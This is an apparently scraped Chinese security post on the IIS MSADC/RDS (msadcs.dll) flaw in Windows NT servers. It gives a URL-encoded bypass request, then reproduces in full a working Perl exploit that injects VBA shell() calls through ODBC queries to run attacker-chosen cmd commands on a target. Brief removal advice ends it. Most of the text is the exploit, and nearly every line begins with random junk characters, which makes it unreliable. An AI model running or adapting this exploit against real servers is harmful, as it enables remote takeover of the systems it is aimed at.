IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
j/mp.'P1k Cj9O [ 涉及程序：
v/+}FS = Microsoft NT server
(Tb0PzA |ylTy B 描述：
dq/?&X 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
5@A=,
GPUn Q~!hr0
ZR 详细：
CF92AY 如果你没有时间读详细内容的话，就删除:
^&/&I9z c:\Program Files\Common Files\System\Msadc\msadcs.dll
9<c4y4#y 有关的安全问题就没有了。
`v2l1CQ: ^ Ngc+< 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
w$:)wyR- `e|Lw 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
R
eu
J=|F 关于利用ODBC远程漏洞的描述，请参看:
!Lug5U}
QLU; .& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >683 4e Y]Vc}-a(h 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
}lpm Hvs http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2Wf qgR [3 ,[1`'nN@g 这里不再论述。
koY8=lh/ <+,0 G` 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
VCRv(Ek tsVhPo]e0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:!!`!*!JH 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
>:E-^t% )stWr r& B2WX#/ lgd #将下面这段保存为txt文件，然后: "perl -x 文件名"
4EbiCSo ^Es)?>eah #!perl
:I(gz~u6 #
)nxI xr0d- # MSADC/RDS 'usage' (aka exploit) script
n< &R"89 #
&+^ Y>Ke # by rain.forest.puppy
(w
B[ ]O$@ #
^uEl QI # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
lG#&1 # beta test and find errors!
=e{KtX. &'\+Z use Socket; use Getopt::Std;
6YGr"Kj & getopts("e:vd:h:XR", \%args);
gF5EtdN?| 5mVu]T` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!sQ8,l0h bx e 9 7] if (!defined $args{h} && !defined $args{R}) {
K"$ky,tU print qq~
F <Z=%M3e Usage: msadc.pl -h <host> { -d <delay> -X -v }
7Q}@L1A9F, -h <host> = host you want to scan (ip or domain)
5B/\vLHg4 -d <seconds> = delay between calls, default 1 second
"0)G|pZI -X = dump Index Server path table, if available
P;p g+L.I -v = verbose
7N=VVD~!b -e = external dictionary file for step 5
Nj 8)HR $0 zL Or a -R will resume a command session
|T&#"q,i9% FWTl:LqFO ~; exit;}
. tsB$,/ cs; Gk: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
g``4U3T%X if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
u Aa>6R if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
jhM|gV& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
PQ]N>'v- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Y2&6x Th if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
B*N 8:u 7gaC)j& if (!defined $args{R}){ $ret = &has_msadc;
M'7x:Uw; die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
)!72^rl ovFfTP<3V print "Please type the NT commandline you want to run (cmd /c assumed):\n"
s>I}-=.(Q . "cmd /c ";
=ab}.dW C $in=<STDIN>; chomp $in;
JdEb_ c3S $command="cmd /c " . $in ;
_'a4I ; +t{FF!mL if (defined $args{R}) {&load; exit;}
x^BBK' 0k<%l6Bq print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
6I![ 5j &try_btcustmr;
S-|$sV^cG _lqAxWH print "\nStep 2: Trying to make our own DSN...";
<sOB j' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<P - r)=^ hJ N A% print "\nStep 3: Trying known DSNs...";
ohk =7d.' &known_dsn;
f` J"A: ,DLNI0u V print "\nStep 4: Trying known .mdbs...";
')RK(I &known_mdb;
8, ^UQ5x 7IH{5o\e if (defined $args{e}){
q[K)bg{HB print "\nStep 5: Trying dictionary of DSN names...";
m:CpDxzbf &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
SUh P
e+ ,Z"sh* print "Sorry Charley...maybe next time?\n";
/VkJ +%}+j exit;
A79SAh eX# 6V/mR~F1r ##############################################################################
c[q3O* * WLH2B1_): sub sendraw { # ripped and modded from whisker
?GZs5CnS sleep($delay); # it's a DoS on the server! At least on mine...
e~dU " my ($pstr)=@_;
$y}Tbm socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ljmHX2p die("Socket problems\n");
g' E^@1{ if(connect(S,pack "SnA4x8",2,80,$target)){
h ,G$e|[? select(S); $|=1;
IYN`q'%| print $pstr; my @in=<S>;
tWI hbt select(STDOUT); close(S);
Y7HWf return @in;
YN[ D^;} } else { die("Can't connect...\n"); }}
K)ib{V( 50 k2;yl _7 ##############################################################################
'"a8< 7 tvILLR sub make_header { # make the HTTP request
a 8TE my $msadc=<<EOT
eO#)QoHj^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`mVH94{+I User-Agent: ACTIVEDATA
[$X(i|6 Host: $ip
NunT2JP. Content-Length: $clen
u c8 >B&B% Connection: Keep-Alive
0"Hf6xz lom4z\ 6 ADCClientVersion:01.06
;d:7\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%l,EA#89 s d"a`?+(Q --!ADM!ROX!YOUR!WORLD!
&#.&xc2sRZ Content-Type: application/x-varg
|kD?^Nx Content-Length: $reqlen
T^W8_rm *3 S1JB]\ EOT
ga1RMRu+ ; $msadc=~s/\n/\r\n/g;
B}.ia_&DLR return $msadc;}
HAXx`r< FMiYZ1^r ##############################################################################
kJ
>B ) 7 m%|TwJN sub make_req { # make the RDS request
nS#;<p$\ my ($switch, $p1, $p2)=@_;
+dRTH z my $req=""; my $t1, $t2, $query, $dsn;
TkykI pQD8#y)` C if ($switch==1){ # this is the btcustmr.mdb query
WD]dt!V% $query="Select * from Customers where City=" . make_shell();
#'T @mA $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~QXNOtVsN $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
l8Ox]%F oc .x1 <Nd elsif ($switch==2){ # this is general make table query
(R F6K6~ $query="create table AZZ (B int, C varchar(10))";
;(A'XA4
6N $dsn="$p1";}
qabM@+ m[ eZHi6v)i elsif ($switch==3){ # this is general exploit table query
=Ur/v'm
$query="select * from AZZ where C=" . make_shell();
fO+;%B $dsn="$p1";}
va)\uXW.N ~2H)#`\ac8 elsif ($switch==4){ # attempt to hork file info from index server
Cv3H%g+as $query="select path from scope()";
SU^/qF%8 $dsn="Provider=MSIDXS;";}
&E~7ty' m-K6y7t elsif ($switch==5){ # bad query
71eD~fNdx $query="select";
azSS:=A $dsn="$p1";}
`YJ `?p g6S8@b))| $t1= make_unicode($query);
b^ZrevM $t2= make_unicode($dsn);
'
x|B' $req = "\x02\x00\x03\x00";
:
f Wh7X3 $req.= "\x08\x00" . pack ("S1", length($t1));
f3O3pIA $req.= "\x00\x00" . $t1 ;
U i;o/Z3 $req.= "\x08\x00" . pack ("S1", length($t2));
6Dch+*4*@ $req.= "\x00\x00" . $t2 ;
h&XyMm9C $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
t}K?. To$ return $req;}
;tj_vmZ@R " d t3peH ##############################################################################
F!U+IztZ cCwT0O#d sub make_shell { # this makes the shell() statement
w% M 0Mu return "'|shell(\"$command\")|'";}
? mMd6U& J 7be?=c)+" ##############################################################################
8d]=
+n ! SU:Cm: $ sub make_unicode { # quick little function to convert to unicode
}'3V(;9 my ($in)=@_; my $out;
W Z ZD for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
i/->g:47P return $out;}
umj7-fh I".r`$XZ ##############################################################################
6@ +
>UZr\ r$+9grm< sub rdo_success { # checks for RDO return success (this is kludge)
~ohW9Z1 my (@in) = @_; my $base=content_start(@in);
h0!j ;fn if($in[$base]=~/multipart\/mixed/){
q\ ?6-?Mr return 1 if( $in[$base+10]=~/^\x09\x00/ );}
GXwV>)!x return 0;}
<I} k%q' mu*wX'.' ##############################################################################
Z)HQl m 5(,WN sub make_dsn { # this makes a DSN for us
UJQ!~ g.y] my @drives=("c","d","e","f");
n1v%S"^ print "\nMaking DSN: ";
tTY (I1 foreach $drive (@drives) {
7oUYRqd print "$drive: ";
*l|CrUa my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
BPW:W } "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
g{&ux k); . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
H|Eu,eq-E $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,5nrov v return 0 if $2 eq "404"; # not found/doesn't exist
b2 z~C{l if($2 eq "200") {
";Lpf]< foreach $line (@results) {
<yeG0`}t return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
:R _(+EK1 } return 0;}
pNDL:vMWP 3ZC[H'| ##############################################################################
^ c:(HUo# Hkpn/,D5 sub verify_exists {
6$IAm# my ($page)=@_;
q4VOK
'N my @results=sendraw("GET $page HTTP/1.0\n\n");
QjPc fR\ return $results[0];}
' e-FJ')| QkA79%;j ##############################################################################
o zv><e# Lq yY??\@ sub try_btcustmr {
XI
pXP,Yy my @drives=("c","d","e","f");
;i1H {hB my @dirs=("winnt","winnt35","winnt351","win","windows");
: .@gd7T <^M`U> foreach $dir (@dirs) {
1A zigd0% print "$dir -> "; # fun status so you can see progress
xl
s_g/Q foreach $drive (@drives) {
R# gip print "$drive: "; # ditto
nF05p2Mh $reqlen=length( make_req(1,$drive,$dir) ) - 28;
{>Zc#U' $reqlenlen=length( "$reqlen" );
IF uz' $clen= 206 + $reqlenlen + $reqlen;
q[r|p"TGov ^>[Z~G($ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
R Xh/[t+ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
bA1u h]oB else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\4mw>8wA sz_|py?0 ##############################################################################
55fV\3F|R C^.: { sub odbc_error {
8J G t|, my (@in)=@_; my $base;
)Nk^;[ my $base = content_start(@in);
R}BHRmSQ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
'AHI;Z~Gk $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TR]~r2z $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7`
&K=( . $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m"NZ; *d ' return $in[$base+4].$in[$base+5].$in[$base+6];}
|nB2X;K5~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
nKch _Jb print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
:v=Yo $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<kt,aMw[* M&xfQNE ##############################################################################
m>~%.
(/x *l^h;RSx sub verbose {
<$ _B J2Z my ($in)=@_;
]7Tjt A.\q return if !$verbose;
+:;r} 7Zh print STDOUT "\n$in\n";}
_a^%V9t 8 yQjB-,# ##############################################################################
YX, y 7Uhn crUt8L-B4 sub save {
In5' (UHW: my ($p1, $p2, $p3, $p4)=@_;
eXUXoK=T open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/`3< @{D print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
q@H?ohIH close OUT;}
3S ,D~L^ NFv 9%$l- ##############################################################################
| x/, $Ic:
c sub load {
l}># p'$ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u-=%gx"Di open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>#<o7] @p=<IN>; close(IN);
fHdPav f,S $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
# KK>D? .: $target= inet_aton($ip) || die("inet_aton problems");
zaf%% print "Resuming to $ip ...";
(pNA8i%= G $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
D^$Nn *i;U if($p[1]==1) {
lt[{u$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
" 8>*O;x k $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
eo4;?z my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
9=89)TrY if (rdo_success(@results)){print "Success!\n";}
Pl9/1YhD/ else { print "failed\n"; verbose(odbc_error(@results));}}
'/G.^Zl9 elsif ($p[1]==3){
aj85vON1` if(run_query("$p[3]")){
e}D#vPaSY print "Success!\n";} else { print "failed\n"; }}
.-Ggv w elsif ($p[1]==4){
H[BY(a@c if(run_query($drvst . "$p[3]")){
\E5 %.KR print "Success!\n"; } else { print "failed\n"; }}
T eS F
exit;}
|/ 5j0 |W<wPmW_{+ ##############################################################################
d~u+:[\=/ B>Mr /' sub create_table {
x!"S`AM my ($in)=@_;
qQv?J]l $reqlen=length( make_req(2,$in,"") ) - 28;
= rFgOdj $reqlenlen=length( "$reqlen" );
3FR'N%+ $clen= 206 + $reqlenlen + $reqlen;
UB|f{7~& my @results=sendraw(make_header() . make_req(2,$in,""));
i!@L`h!rw return 1 if rdo_success(@results);
J.N%=-8 my $temp= odbc_error(@results); verbose($temp);
8HS1^\~(6l return 1 if $temp=~/Table 'AZZ' already exists/;
`9SuDuw;s return 0;}
tT>~;l%' 8&\<p7}=h ##############################################################################
7;ZSeQ yC +pURF&Pr sub known_dsn {
^(r?k_i/ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Yh\ }
i my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0 .Pd,L( "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
CXwDG_e "banner", "banners", "ads", "ADCDemo", "ADCTest");
*W~+Nho.A 7g^= foreach $dSn (@dsns) {
<nOK#;O) print ".";
bsO78a~=P next if (!is_access("DSN=$dSn"));
Ii_X^)IL( if(create_table("DSN=$dSn")){
fH-V!QYGF print "$dSn successful\n";
>v F=}1_L if(run_query("DSN=$dSn")){
A
M8bem~ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
o|F RG{TJ print "Something's borked. Use verbose next time\n";}}} print "\n";}
p)NhV WLqwntzk ##############################################################################
96x0'Is aG apPn>\O sub is_access {
$y S7u my ($in)=@_;
R s_bM@ $reqlen=length( make_req(5,$in,"") ) - 28;
`VM@-;@w $reqlenlen=length( "$reqlen" );
481J=8H $clen= 206 + $reqlenlen + $reqlen;
q{?Po;\D my @results=sendraw(make_header() . make_req(5,$in,""));
YtI 2Vr/9 my $temp= odbc_error(@results);
7vax[,a I verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t`1E4$Bb\ return 0;}
G'T/I\tB u|t<f`ze ##############################################################################
F$T@ OT6 ^kA^> vi sub run_query {
1'@/ jR my ($in)=@_;
tEh YQZ $reqlen=length( make_req(3,$in,"") ) - 28;
Au(zvgP $reqlenlen=length( "$reqlen" );
8(J&_7u $clen= 206 + $reqlenlen + $reqlen;
8T6.Zh v my @results=sendraw(make_header() . make_req(3,$in,""));
bR"hl? &c return 1 if rdo_success(@results);
p}_n
:a my $temp= odbc_error(@results); verbose($temp);
U2l7@uDr; return 0;}
"$#X [ . `&xo;Vnc ##############################################################################
vs}_1o B/ u0^! sub known_mdb {
2YI#J.6]H my @drives=("c","d","e","f","g");
r*CI6yP my @dirs=("winnt","winnt35","winnt351","win","windows");
AdMA|!|:hc my $dir, $drive, $mdb;
N' [bA my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jp?;8rS3 `&]<_Jc1 # this is sparse, because I don't know of many
'S]7:/CI my @sysmdbs=( "\\catroot\\icatalog.mdb",
mv_N ns "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'_!j9A]g "\\system32\\certmdb.mdb",
Q[+&n * "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
tCH 4-~,# OW!cydA- my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
SUwSZ@l^| "\\cfusion\\cfapps\\forums\\forums_.mdb",
~7a(KJgvd" "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
GZXBzZ} "\\cfusion\\cfapps\\security\\realm_.mdb",
RQiGKz5
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
,w&8 &wj "\\cfusion\\database\\cfexamples.mdb",
zG)XB*c "\\cfusion\\database\\cfsnippets.mdb",
S?_/P o| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
*[K\_F?^h "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Ct2m l "\\cfusion\\brighttiger\\database\\cleam.mdb",
8G@I e "\\cfusion\\database\\smpolicy.mdb",
?\[2Po]n "\\cfusion\\database\cypress.mdb",
O/b~TVA "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
g$+u;ER5 "\\website\\cgi-win\\dbsample.mdb",
?`T <
sk8c "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:KY920/, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
)*< =: ); #these are just
$h"Ht2/ J foreach $drive (@drives) {
1|/P[!u foreach $dir (@dirs){
W3K&C[f foreach $mdb (@sysmdbs) {
aBv3vSq> Q print ".";
"BSSA%u?c if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4pNIsjl} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
1UG5Q- if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
p4mlS print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
J?4aSssE } else { print "Something's borked. Use verbose next time\n"; }}}}}
Ws2SD6!4` !}%,rtI foreach $drive (@drives) {
,9jq
@_ foreach $mdb (@mdbs) {
` \!oY;jk print ".";
R&M v|R if(create_table($drv . $drive . $dir . $mdb)){
.<ux Z print "\n" . $drive . $dir . $mdb . " successful\n";
=D88jkQe" if(run_query($drv . $drive . $dir . $mdb)){
/HCd52 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
rw> X JE } else { print "Something's borked. Use verbose next time\n"; }}}}
1HOYp*{#wP }
R1$O )A}k ;e~Z:;AR ##############################################################################
i=67 UykOQ-2-n sub hork_idx {
2ZHeOKJ- print "\nAttempting to dump Index Server tables...\n";
3u]#Ra~5 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
fu3~W $reqlen=length( make_req(4,"","") ) - 28;
,= o)R,[ $reqlenlen=length( "$reqlen" );
P=v 0|Y*q| $clen= 206 + $reqlenlen + $reqlen;
L%4[,Rsw my @results=sendraw2(make_header() . make_req(4,"",""));
P%HvL4R if (rdo_success(@results)){
o&M2POI~q my $max=@results; my $c; my %d;
Ut"~I)S{LT for($c=19; $c<$max; $c++){
- ) $results[$c]=~s/\x00//g;
CZE!rpl $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
v,6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
0V{a{>+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
MZ" yjQ A $d{"$1$2"}="";}
%N}O Mc.W foreach $c (keys %d){ print "$c\n"; }
cspO5S># } else {print "Index server doesn't seem to be installed.\n"; }}
Ph[P$: 9 1O" Mo ##############################################################################
yL =*yC :W]IJ
mI\ sub dsn_dict {
HzADz%~ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
\;w$ "@9 while(<IN>){
^H]q[XFR $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)C >4? ) next if (!is_access("DSN=$dSn"));
^(,qkq'u
D if(create_table("DSN=$dSn")){
`<R; ^qCt print "$dSn successful\n";
p4} ,xQzB if(run_query("DSN=$dSn")){
eK]g FXk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
M#v#3:&5 print "Something's borked. Use verbose next time\n";}}}
8S;]]*cD~ print "\n"; close(IN);}
;O8Uc&:P m e\S: ##############################################################################
G)qNu } +<cvyg5U sub sendraw2 { # ripped and modded from whisker
8NY $Iw sleep($delay); # it's a DoS on the server! At least on mine...
9rhIDA(wc my ($pstr)=@_;
N^,@s"g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
w]n ,`r^ die("Socket problems\n");
%3v:c|r if(connect(S,pack "SnA4x8",2,80,$target)){
{P' TtlEp print "Connected. Getting data";
tnx)_f open(OUT,">raw.out"); my @in;
u $T`Bn select(S); $|=1; print $pstr;
3&*_5<t\X while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
"YIrqk close(OUT); select(STDOUT); close(S); return @in;
[Yt!uh ww } else { die("Can't connect...\n"); }}
?$ rSbw w-~u[c ##############################################################################
z'cK,psq( I'"b3]DXG sub content_start { # this will take in the server headers
]-
my (@in)=@_; my $c;
S@Rw+#QE for ($c=1;$c<500;$c++) {
-w8c;5X if($in[$c] =~/^\x0d\x0a/){
8Lm }x_
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8
1Ar.< else { return $c+1; }}}
AGwFD return -1;} # it should never get here actually
lZyxJDZ A t- Rp_2t ##############################################################################
?Bg <74 ` oBlv sub funky {
"S$4pj`< my (@in)=@_; my $error=odbc_error(@in);
x,kZ>^]&b if($error=~/ADO could not find the specified provider/){
Z#8O)GK print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Y yI4T/0s_ exit;}
b"`Vn, if($error=~/A Handler is required/){
:mwNkT2et print "\nServer has custom handler filters (they most likely are patched)\n";
4]\ f} exit;}
T<!&6,N A if($error=~/specified Handler has denied Access/){
[c6I/U=- print "\nServer has custom handler filters (they most likely are patched)\n";
yc|j]? exit;}}
dWC[p Z1V%pg>]* ##############################################################################
x --buO Q~/TqG
U sub has_msadc {
P\"|b\O1 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Kv**(~FNnH my $base=content_start(@results);
ujF*'*@\
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
l=jfgsjc return 0;}
lYZ5FacqC CuE>=y- "I ########################
_)4YxmK% J N5<=x5r _ZgIm3p0A 解决方案：
GWs[a$| 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]
i;xeo, 2、移除web 目录: /msadc
